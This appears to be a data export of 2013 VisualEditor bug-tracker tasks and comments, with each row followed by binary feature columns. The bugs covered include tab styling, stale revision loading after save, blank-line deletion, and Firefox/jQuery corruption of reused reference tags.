+214176,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,Gerrit change 63341,,,1368307015,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+214172,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,*** Bug 47768 has been marked as a duplicate of this bug. ***,,,1367097296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+214168,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,"Yup, we should expand this more generally to all things that have a different ContentHandler type. We already depend on MW 1.21 in general, so I guess(?) this shouldn't be too much of a problem.",,,1366470309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-11,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+49452,"VisualEditor: ""Edit source"" tab doesn't become 'active'","If in a page you click 'Edit source', the tab does not receive the 'selected' styling/class as it is supposed to.
+
+This was confirmed with Safari 6 mac.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1366463880,1367602843.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+214015,"VisualEditor: ""Edit source"" tab doesn't become 'active'",*** Bug 48316 has been marked as a duplicate of this bug. ***,,,1368150918,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+214010,"VisualEditor: ""Edit source"" tab doesn't become 'active'",Now merged and will go live with wmf4.,,,1367602843,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+214004,"VisualEditor: ""Edit source"" tab doesn't become 'active'",Related URL: https://gerrit.wikimedia.org/r/62145 (Gerrit Change Ic2d42bb3034be25f388b587a00c3f523cfcc163c),,,1367583532,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+213996,"VisualEditor: ""Edit source"" tab doesn't become 'active'","Pretty sure I made this work a couple of weeks ago, but it might have been broken by the more recent changes to this code.",,,1366998791,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+49430,VisualEditor: data-parsoid attribute sometimes not preserved properly,"a </table> tag is sometimes inserted into data-parsoid when set on a table element, for example in the 'Infobox settlement' at http://en.wikipedia.org/wiki/Beale_Township,_Juniata_County,_Pennsylvania.
+
+Original data-parsoid (part of):
+Beale Township,<br/>Pennsylvania\n
+
+VE output (editedHtml):
+Beale Township,<br></table>Pennsylvania\n
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366407120,1366992022.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-coiafysv5fwnb2coli72,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1
+212689,VisualEditor: data-parsoid attribute sometimes not preserved properly,"
+
+*** This bug has been marked as a duplicate of bug 47417 ***",,,1366992022,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-coiafysv5fwnb2coli72,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+49424,VisualEditor: Deleting to/from a blank lines fails,"If you have lines like so:
+
+| A
+| B
+| 
+| C
+
+Deleting backwards from up-page of C, or from within the blank line above C, causes the cursor to move (as expected) but no deletion.
+
+Deleting forwards from down-page of B, of from within the blank line below B, causes the cursor to stay (as expected) but no deletion.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366397400,1371781860.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-na7hdsgn5rcikyp6dgpv,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+212423,VisualEditor: Deleting to/from a blank lines fails,This is now fixed with the deletion re-write.,,,1371781860,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-na7hdsgn5rcikyp6dgpv,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+49420,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"(a) open a page in VE and edit it
+(b) save in VE 
+(c) reopen the same page right away in VE
+
+The previous version (rather than saved version) is fetched.  I looked at POST params in chrome and looks like revision id (oldid) being sent is of the older version rather than the saved version.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366393860,1373061639.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-l3samzhuiftku6aijqqt,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+212268,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"(In reply to comment #11)
+> That is bug 50441.
+
+Yes; sorry! :-)",,,1373061922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+212260,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,That is bug 50441.,,,1373061758,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+212253,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,Re-closing; new breakage is being tracked as bug 47420.,,,1373061639,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+212248,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"This bug was closed as fixed on May 3 but I am still seeing this behavior on mediawiki.org. The second edit after saving loads the previous version of the page, not the current version. A warning ""You are editing an out-of-date revision of this page"" appears, but that doesn't help.",,,1373015887,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+212243,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,*** Bug 48021 has been marked as a duplicate of this bug. ***,,,1367614853,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+212237,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,*** Bug 47682 has been marked as a duplicate of this bug. ***,,,1367614840,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+212231,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,Now merged and will go into wmf4.,,,1367602814,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+212227,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,Related URL: https://gerrit.wikimedia.org/r/62168 (Gerrit Change I12ce27c8dc57f7aa753bcf5840635d5fea6b4e80),,,1367601065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+212221,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"(In reply to comment #3)
+> The JSON we get back after a save only contains the plain html and some
+> timestamps. In order for us to update this.oldid we'll need Parsoid to tell
+> us what it is, I think.
+
+Parsoid doesn't know; it's VisualEditor.php which does the actual saving to the DB.",,,1367595038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1
+212215,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"The JSON we get back after a save only contains the plain html and some timestamps. In order for us to update this.oldid we'll need Parsoid to tell us what it is, I think.",,,1367578702,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+212208,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,This is because we don't update this.oldid after saving.,,,1366998865,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+212202,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"Feels like we need to properly review how the integration around oldids works, given the number of issues. :-(",,,1366395770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+49417,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","See https://en.wikipedia.org/w/index.php?title=User:Fluffernutter/Kinne&diff=551148728&oldid=551148307
+
+To investigate.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1366387680,1366992579.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+212075,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",This is an instance of the jQuery bug 47737 - marking as FIXED (in the specific instance) but we need a wider fix.,,,1366992579,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+212071,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",*** Bug 47430 has been marked as a duplicate of this bug. ***,,,1366992022,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+212066,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","(In reply to comment #7)
+> (In reply to comment #6)
+> > This is a bug in jQuery. To reproduce:
+> 
+> That confirms my suspicion. The bug appeared first after you started using it
+> to avoid dropping figure elements.
+Yup, which is why we can't just go back, because that would break <caption> elements again.
+
+Filed upstream as http://bugs.jquery.com/ticket/13821",,,1366906990,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+212060,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","The reason this doesn't happen in Chrome is because Chrome normalizes < to &lt; in attribute values in .innerHTML. Firefox doesn't do this and gives us the original < as originally provided by Parsoid.
+
+The presence of these <> then triggers a jQuery regex looking for self-closing tags:
+
+/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi
+
+...which believes our span (!) is self-closing because it starts with <span and contains /> later, so it helpfully ""fixes"" our HTML and replaces the /> with </span>",,,1366906954,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+212055,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","Ed's quick hack is now merged, but we still need to fix this - upstream bug in jQuery or just a work around?",,,1366906093,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+212052,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","(In reply to comment #6)
+> This is a bug in jQuery. To reproduce:
+
+That confirms my suspicion. The bug appeared first after you started using it to avoid dropping figure elements.",,,1366904572,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+212049,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","This is a bug in jQuery. To reproduce:
+
+>>> $( '<div>' ).html( '<span data-parsoid=""{&quot;src&quot;:&quot;<ref name=\&quot;Foo\&quot; />&quot;,&quot;tsr&quot;:[32,50],&quot;dsr&quot;:[32,50,null,null]}"">' ).html();
+
+""<span data-parsoid=""{&quot;src&quot;:&quot;<ref name=&quot;Foo&quot; ></span>&quot;,&quot;tsr&quot;:[32,50],&quot;dsr&quot;:[32,50,null,null]}""></span>""",,,1366904257,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+212044,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","This is what I see using wget, FF, and the parse.js in the shell:
+
+<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" typeof=""mw:Object/Ext/Ref"" data-parsoid='{""src"":""<ref name=\""rfc3092\"" />"",""tsr"":[416,438],""dsr"":[416,438,null,null]}'><a href=""#cite_note-rfc3092-1"" data-parsoid=""{}"">[1]</a></span><meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid='{""tsr"":[416,438],""selfClose"":true,""src"":""<ref name=\""rfc3092\"" />"",""dsr"":[416,438,22,0]}'>
+
+Make sure you are not looking at a pretty-printed inspect tool. Either use innerHTML (which will use non-smart quoting) or the actual page source (ctrl-u in Firefox).
+
+From what I see Firefox parses our HTML just fine on the way in, with the entire JSON string being parsed as the attribute value. Do you actually see a parsing difference on the way in resulting in a different DOM?
+
+Changing the title back, as I am pretty sure this is not a bug on our end.",,,1366902121,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+212036,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","The problem appears to be with the output from Parsoid with regard to <ref> tags not being escaped.
+
+To give http://parsoid.wmflabs.org/en/Foobar as an example, in Chrome this looks fine:
+
+<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" typeof=""mw:Object/Ext/Ref"" data-parsoid=""{&quot;src&quot;:&quot;<ref name=\&quot;rfc3092\&quot; />;&quot;,&quot;tsr&quot;:[416,438],&quot;dsr&quot;:[416,438,null,null]}""><a href=""#cite_note-rfc3092-1"" data-parsoid=""{}"">[1]</a></span>
+<meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid=""{&quot;tsr&quot;:[416,438],&quot;selfClose&quot;:true,&quot;src&quot;:&quot;&lt;ref name=\&quot;rfc3092\&quot; /&gt;&quot;,&quot;dsr&quot;:[416,438,22,0]}"">
+
+
+... but in Firefox the browser presumably doesn't like the un-escaped ""<ref name=... />"" in the attribute of the <span> and so it does this:
+
+<span id=""cite_ref-rfc3092-1-0"" class=""reference"" about=""#mwt5"" data-parsoid=""{""src"":""<ref name=\""rfc3092\"" />"",""tsr"":[416,438],""dsr"":[416,438,null,null]}"" typeof=""mw:Object/Ext/Ref""></span>
+<meta typeof=""mw:Ext/Ref/Marker"" about=""#mwt5"" group="""" name=""rfc3092"" content="""" skiplinkback=""0"" data-parsoid=""{""tsr"":[416,438],""selfClose"":true,""src"":""<ref name=\""rfc3092\"" />"",""dsr"":[416,438,22,0]}""></meta>
+
+I.e., closing the <span> early and throwing away the contents. Note that the following meta is also fragile as it contains unescaped JSON as well.
+
+The result of this is that <ref name=""…"" /> is wrongly expanded to <ref name=""…"" ></span> and so corrupted on save by Firefox users.",,,1366898909,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+212028,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",Related URL: https://gerrit.wikimedia.org/r/60840 (Gerrit Change Ib6a0cfb880e769f28b42c9fa63ddc1abc75c399d),,,1366898453,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
